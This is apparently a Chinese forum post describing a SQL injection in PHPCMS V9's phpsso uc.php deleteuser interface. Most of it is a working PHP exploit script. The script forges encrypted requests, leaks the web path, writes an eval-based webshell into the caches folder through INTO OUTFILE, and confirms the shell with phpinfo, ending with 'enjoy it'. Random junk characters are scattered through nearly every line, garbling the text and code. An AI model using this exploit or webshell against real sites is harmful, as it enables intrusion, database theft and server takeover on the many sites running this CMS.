PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
y c Z/ `2 g# r
4 A0 C- }3 r, j4 K8 V所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
! w0 o5 n: | p& \' P/ {5 O: N8 v0 H0 v( h" w- o5 c
漏洞分析:
9 F) I( _0 _4 B8 d) y6 I3 R: g1.未启用ucenter服务的情况下uc_key为空
) L8 a/ c+ Z2 T5 M4 |+ bdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
0 T5 b/ p+ |2 B# X( ~' m2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
# v+ U t- m1 k$ S" f9 Y public function deleteuser($get,$post) {8 B& T0 |$ Z) a$ Z" g! s) T' N2 Y" C- n* b
pc_base::load_app_func('global', 'admin');
* t9 ^' ^7 o3 r pc_base::load_app_class('messagequeue', 'admin' , 0);
; @* b. ?3 Z* a% Q3 n $ids = new_stripslashes($get['ids']);
/ e% P# q( x$ b- T $s = $this->member_db->select("ucuserid in ($ids)", "uid");+ ~) j& @4 x9 s, ~
SQL语句为
1 \& z. r% s3 S6 j7 KSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
. f" _2 l% a0 I5 w4 i# y) t
: | M/ M) o. |0 w利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell* w% Z6 A1 h' h) Z }
<?php
1 Q1 G s5 ?, b0 v* C; ^print_r('9 \( Q: \, l& O% x
---------------------------------------------------------------------------
. N/ E4 h8 w, I3 I0 t9 p+ o) mPHPcms (v9 or Old Version) uc api sql injection 0day
9 k* x& a$ V; [4 S y. Pby rayh4c#80sec.com4 n9 ~* b# _+ i! \5 n
---------------------------------------------------------------------------1 t4 [, u$ s% Z# S$ p( `% |1 F
');0 L# k Z6 _3 d* K1 p D
/ P% E: t# b6 }5 n( L {4 _2 N- R( _7 c
if ($argc<3) {
6 b* ?9 l; G6 L3 e print_r('
. z( [" ~: Y! [ E' X4 x5 ~---------------------------------------------------------------------------
& O2 Z& w$ X. wUsage: php '.$argv[0].' host path OPTIONS6 K- `* ]7 i6 W X4 D$ A
host: target server (ip/hostname)
% [' W5 h( f8 I8 G, s* J; npath: path to phpcms
* z- ?& U& ]. oOptions:$ Z3 X$ d! t) D
-p[port]: specify a port other than 80
7 }4 Q: U+ w5 G" W. L* } -P[ip:port]: specify a proxy
8 w, E9 k$ E" i4 {& J' D; Q# nExample:! i; x: O! G/ b o' B, A5 }0 P5 w2 }
php '.$argv[0].' localhost /
9 `. g! T4 @0 d& ^4 _3 P4 dphp '.$argv[0].' localhost /phpcms/ -p81# a) n* k2 D: S& { b
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
2 D1 V# `/ B6 J) m---------------------------------------------------------------------------
% Y* j! h& O0 @% ^');
+ x+ z: s; U' h* i# P1 F die;
3 J$ B" ]/ q# L- B* W7 ]2 K Z/ z}. D( ?% m$ U+ p/ g; @* X+ v8 d
$ t, |* s! m/ }3 R; |3 p
error_reporting(7);- D# t/ K: |. g9 K; [: Y6 r! @: `7 q: ^
ini_set("max_execution_time",0);: d9 a. H2 G/ u9 Z8 X6 R
ini_set("default_socket_timeout",5);' m2 k9 z S* w$ s$ s" t; k; B
4 A( I4 Q8 A- ~$ c
function quick_dump($string)
, p; T; Z4 z# w4 T: d) g) U{4 V: a. A! D8 y
$result='';$exa='';$cont=0;, U: M( F$ B3 s: [
for ($i=0; $i<=strlen($string)-1; $i++)# O3 q( [; T6 ]% e0 N
{
: K3 o/ P7 [' U3 } if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )): J9 `% U8 i; C5 `
{$result.=" .";}
# k" ^' u: w. y& l else
5 ~ @6 O6 G2 I2 K# {9 r1 B4 [2 Y! z6 z {$result.=" ".$string[$i];}
- e: w2 e9 u( {$ K# w if (strlen(dechex(ord($string[$i])))==2)
' e$ w( F$ {2 |4 l4 F9 Q {$exa.=" ".dechex(ord($string[$i]));}
& l, u* W0 `- V) b. n5 t* G else* }1 r+ `, Z, T. h8 t. }8 [& o! ~
{$exa.=" 0".dechex(ord($string[$i]));}
; U E: S, |$ K# K+ H) w3 R2 q) |1 Z $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}; z9 J, |9 r, Z! Z: q" ^
}" U* }. _4 }( a" z7 m: w! C2 ?
return $exa."\r\n".$result;
' r: _! ]1 H4 b/ x# o: p" I6 o}
% c/ G$ w4 C# r4 D6 s. {$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';! Q& A. t5 d/ H& f
( s6 C. x( |+ c6 ~function send($packet)
0 N' h3 f3 Q$ d8 ~. m{ s9 W5 g: N" c9 L- a
global $proxy, $host, $port, $html, $proxy_regex;1 {5 ?' Y6 M) n* N! z
if ($proxy=='') {% P# h6 u& p, F" [& v% l1 ]
$ock=fsockopen(gethostbyname($host),$port);- O: |/ {- W+ E' q5 u! P" e
if (!$ock) {' ]) ~: ]# G0 Q/ H0 S9 T
echo 'No response from '.$host.':'.$port; die;
6 g2 \7 Z: _# u( ?3 c) r& Q6 d }
7 R, d2 a8 D. i9 L1 t }, r- [2 y+ i+ A( ?, w+ T2 X5 z
else {, l) B/ C R! P) J; H9 K) J# m
$c = preg_match($proxy_regex,$proxy);
* R0 t! ^: U* l; L& |0 M( Y if (!$c) {! ~1 e# l; i7 S0 O) X. W; V- d
echo 'Not a valid proxy...';die;% x9 B: F0 X( K0 ^- e' d3 H9 u
}2 m, ?+ ` J5 l3 I7 Z, b; e
$parts=explode(':',$proxy);
1 c& _# p7 }7 s $parts[1]=(int)$parts[1];% y9 P* I: n: K+ v9 F9 Y2 m7 c
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";1 O) w* R& T2 ]( d
$ock=fsockopen($parts[0],$parts[1]);6 n2 Y" Q5 L/ @1 w3 H
if (!$ock) {7 W J3 d: Y: W; \# g' L. T
echo 'No response from proxy...';die;6 G$ ~1 Y6 h* @8 ~& m3 W
}
- S! ]3 x E/ [2 a }- e% I# m* S# A0 }
fputs($ock,$packet);6 q) O ~4 M2 l( {
if ($proxy=='') {+ c8 ?% b3 a- e( y' `$ g
$html='';$ Q* j! N, H6 k: p$ P6 T0 ]
while (!feof($ock)) {
' u% f9 N4 t4 G. P9 {/ t1 ^) U $html.=fgets($ock);2 U$ ]! l$ c2 W0 w. |
}) t8 i9 T2 [+ B0 @" H! r: c
}0 z* l4 t4 g4 V$ w( k
else {
* C$ l* L) z b2 G; U z! ] $html='';
6 O. N$ N! R& W while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {! M( p j+ R& X: P4 t) D
$html.=fread($ock,1);# F2 \ L# \3 C5 X4 F5 S( |
}7 h; m ^3 V5 h, O& q4 I
}
0 a9 B( W6 ] L9 F fclose($ock);
4 s7 F. u1 l- W7 V}, w! P4 ~& ?! w. ^( t6 Y* ~
% `- T0 B2 V, {" E8 R$host=$argv[1];2 O; M; S4 M3 A( K
$path=$argv[2];
9 G) F/ D. j& P. a# u$port=80;1 o' A7 i3 d3 l4 R
$proxy="";7 M* F+ W* u; `4 `1 ^- l
for ($i=3; $i<$argc; $i++){
) d. t i2 p, J, A: {: r9 y$temp=$argv[$i][0].$argv[$i][1];6 r& G# ], w& i4 z! p- S7 C
if ($temp=="-p")
5 k5 K& W; X4 p/ J3 C P' M0 M$ T{
; Y4 v& i. l: U5 {3 t, G2 Y: O: U $port=(int)str_replace("-p","",$argv[$i]);& G- E6 J* b% r3 b
}: ]6 I2 a) W+ L# S& V
if ($temp=="-P")
- j! F8 T' i" I, g' U{% g7 m, b, n* b4 i
$proxy=str_replace("-P","",$argv[$i]);
% |3 P: Q9 X1 F8 k. g+ J}+ b2 b+ f& ~5 ]* A f1 M9 t
}4 d9 R2 g5 J6 g+ X
6 M9 }3 N/ v, W4 Y/ d* @5 eif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
, T3 q0 w$ z) e5 B8 M$ W- Jif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}, t. W" a5 \: W: }0 w9 h
& |2 D" b w- O% X/ Efunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ M" S: m, X: N4 C
Q8 |# q- i; s- k& ^4 J% v
$ckey_length = 4;
4 ^. @7 ?4 y5 X# Z9 A! V- V, h" ~7 b7 j) m$ e# y G
$key = md5($key ? $key : '');
. e7 D2 ]; D2 k* ], h $keya = md5(substr($key, 0, 16));
! B1 c) O* s( }6 C; Z P $keyb = md5(substr($key, 16, 16));& g. d' b7 V$ w9 j: X( N3 }8 e; p
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
3 {8 t' h' k6 D* i7 A" G8 m9 d" J I- H
$cryptkey = $keya.md5($keya.$keyc);
& X2 O8 E6 t. K+ L! i2 E $key_length = strlen($cryptkey); z1 c$ P& W4 L" w2 `
$ i* y% ~" N# L" H9 w $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
; N7 c1 B1 K/ A4 n7 z) h $string_length = strlen($string);3 O) X1 N3 n+ j
) x2 i" G$ A4 s9 X5 F3 `
$result = '';( t9 q- F4 r# E% B# ^8 E8 w: n( _
$box = range(0, 255);5 T; L' v+ h6 ]$ d1 N2 m
3 L9 u! w4 n/ [. i9 b' W- p
$rndkey = array();4 A0 L- h& Q/ n. z1 i$ l4 R
for($i = 0; $i <= 255; $i++) {
; v7 K G1 y; V% L$ } $rndkey[$i] = ord($cryptkey[$i % $key_length]);
( ]" d- X- a' A( l }; A; [8 ^+ M9 i' W, Q( R* i
8 n0 Y- Y7 [1 L4 G7 ]+ o, c% [ for($j = $i = 0; $i < 256; $i++) {. U- I7 [& X+ `# m4 X. I
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
; H- Y" K) o' N $tmp = $box[$i];
, }! N$ _5 W% Z# u0 r* j3 A $box[$i] = $box[$j];
4 F' m% G" ~. n; R $box[$j] = $tmp;/ j- Q8 Y8 D# @
}
5 }7 K) Q7 H2 {& y; N. ^/ J5 b1 I
for($a = $j = $i = 0; $i < $string_length; $i++) {5 E% J, x4 v1 f# m+ j$ ^
$a = ($a + 1) % 256;5 {6 ^8 n& t( W1 G Y& d5 A( }# Q
$j = ($j + $box[$a]) % 256;+ T+ A: E2 Z/ }0 |( r& x
$tmp = $box[$a];, a+ Y. q; a' z2 d, m$ E' u
$box[$a] = $box[$j];' L0 Z4 i, ~7 I! ^6 I+ Y, e3 }
$box[$j] = $tmp;, D6 h) J3 k% k2 z& Q* v( b' A5 D% C
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
7 S7 ]' ^5 }0 z }$ w$ |( J, J( {# b9 ]* ]
/ ~' u( ^& {6 n; U
if($operation == 'DECODE') {
8 w: Z' f P& |( s if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) n9 Q( @( O2 J return substr($result, 26);
3 _6 F0 B2 ^) w$ m" Q } else {4 G/ U3 H9 _# O w* u0 l Z
return '';& a' K4 Y: z5 X' I& b N! Q
}
/ P( ], P: \! F5 o8 i6 s ? } else {- p' \; a7 o4 E
return $keyc.str_replace('=', '', base64_encode($result));
/ @! M" `: P9 E$ x0 ? }' l* ?' H/ Y1 _- G8 z. v8 g
\: b$ o* ^% G* N. j}* ?7 Q% G% y2 R+ ^
! Q' H( `1 `' @8 {- E9 ?7 D% ?; |9 y
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
' d, Z8 w$ e& Z' x, S' Z1 C$SQL = urlencode(authcode($SQL, "ENCODE", ""));
5 L4 s9 I; ^; P" W+ \1 [echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";% Z9 i- g1 W8 } S3 F3 X
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
* o+ r7 a& [& p6 A L: g v$packet.="User-Agent: Mozilla/5.0\r\n";
: K7 j' h4 e$ G3 h$ `$packet.="Host: ".$host."\r\n";
& u1 e8 R# S; |0 {4 g2 o5 j: ~; ]2 H$packet.="Connection: Close\r\n\r\n";% f Y; p/ M5 O# n" k: e
send($packet);) [0 P& K* g3 C7 W- Z1 F. i2 }
if(strpos($html,"MySQL Errno") > 0){& B) O' F# F/ y4 [+ M
echo "[2] 发现存在SQL注入漏洞"."\n";7 S' ^5 ^; D) c: _$ \8 n
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
6 F3 U3 G- V/ g7 }/ \9 w& S$ ~$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$ X- Y. A$ |* R4 V$packet.="User-Agent: Mozilla/5.0\r\n";3 u9 ~- c5 [5 s- F0 Z$ S8 p0 U/ U9 D" r5 R
$packet.="Host: ".$host."\r\n";
) n0 m9 S; A& M: e, \" k9 ?: N$packet.="Connection: Close\r\n\r\n";3 v0 Q X+ T. m8 \9 S! t7 D& e, O- |
send($packet);$ k/ f' C7 f3 U$ v+ ?% X
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
3 Q' b# B" O" L2 @6 K/ q//print_r($matches);3 C: T- G5 x+ A" L2 d* @! C
if(!empty($matches)){* |. H) u$ l! T9 b3 r% u
echo "[4] 得到web路径 " . $matches[0]."\n";
) T1 h h- q' E8 f( f0 I% Y8 Decho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";# S% O3 g. x' P1 q3 x6 D8 B
$SQL = "time=999999999999999999999999&ids=1)";
, s) t/ p% R9 c$ f1 B; @$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
5 k! j# g- V2 P& m+ T d- N$SQL.="&action=deleteuser";
+ V/ ]( D6 ^& I# n0 P# Y$SQL = urlencode(authcode($SQL, "ENCODE", ""));+ z! X6 M* w3 w$ C: q9 _3 c$ ^% I
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$ w) @+ p2 p* W, h. }2 O$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% b- ?. I, S7 f4 ?; G$packet.="User-Agent: Mozilla/5.0\r\n";
5 x9 J3 `& n' n$ v$packet.="Host: ".$host."\r\n";
7 l9 F8 ?3 V" D- n* I$packet.="Connection: Close\r\n\r\n";1 t, f4 ~8 T. W4 ~
send($packet);
5 [0 o1 }0 ?* Pif(strpos($html,"Access denied") > 0){
- ^% h/ p0 w4 R8 |echo "[-] MYSQL权限过低 禁止写入文件 ";
5 }; \3 ]* e6 n# L$ z) bdie;
( S3 a V# g E# y0 u+ \% _7 p}
+ Q$ t- V! N9 Y1 Y& a0 y" ?echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";7 ?4 c8 y( Q" a+ M9 d0 e/ p9 d7 u
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";( D6 d; _ t+ h, o5 F
$packet.="User-Agent: Mozilla/5.0\r\n";, O( t( _3 e9 Y; Q
$packet.="Host: ".$host."\r\n";
& N4 _: K r/ p7 K- [# [( o$packet.="Connection: Close\r\n\r\n";
3 h8 Y$ C" L7 [" Q- `send($packet);& y( L! o! N( I8 _
if(strpos($html,"<title>phpinfo()</title>") > 0){
$ K* `1 K) a/ ]% `3 s2 o; ?echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";4 C; p) A" r! w
}
N7 D6 A! M$ N9 f" Z9 N( v}else{
5 I) |7 [( `; C- fecho "[-]未取到web路径 ";
8 K" z2 F4 R1 C4 N- _/ C0 k}8 I4 w2 l8 m/ L9 D' q
}else{, {- o& _# y! b( Q( L5 P
echo "[*]不存在SQL注入漏洞"."\n";8 N( Y. R9 X1 G4 o( U! N% _
}! O; W) P/ I4 g3 b, _
1 x a9 }' W/ ?" [8 E, U! T
?>% ~3 V$ G0 a c4 A2 J6 ^
|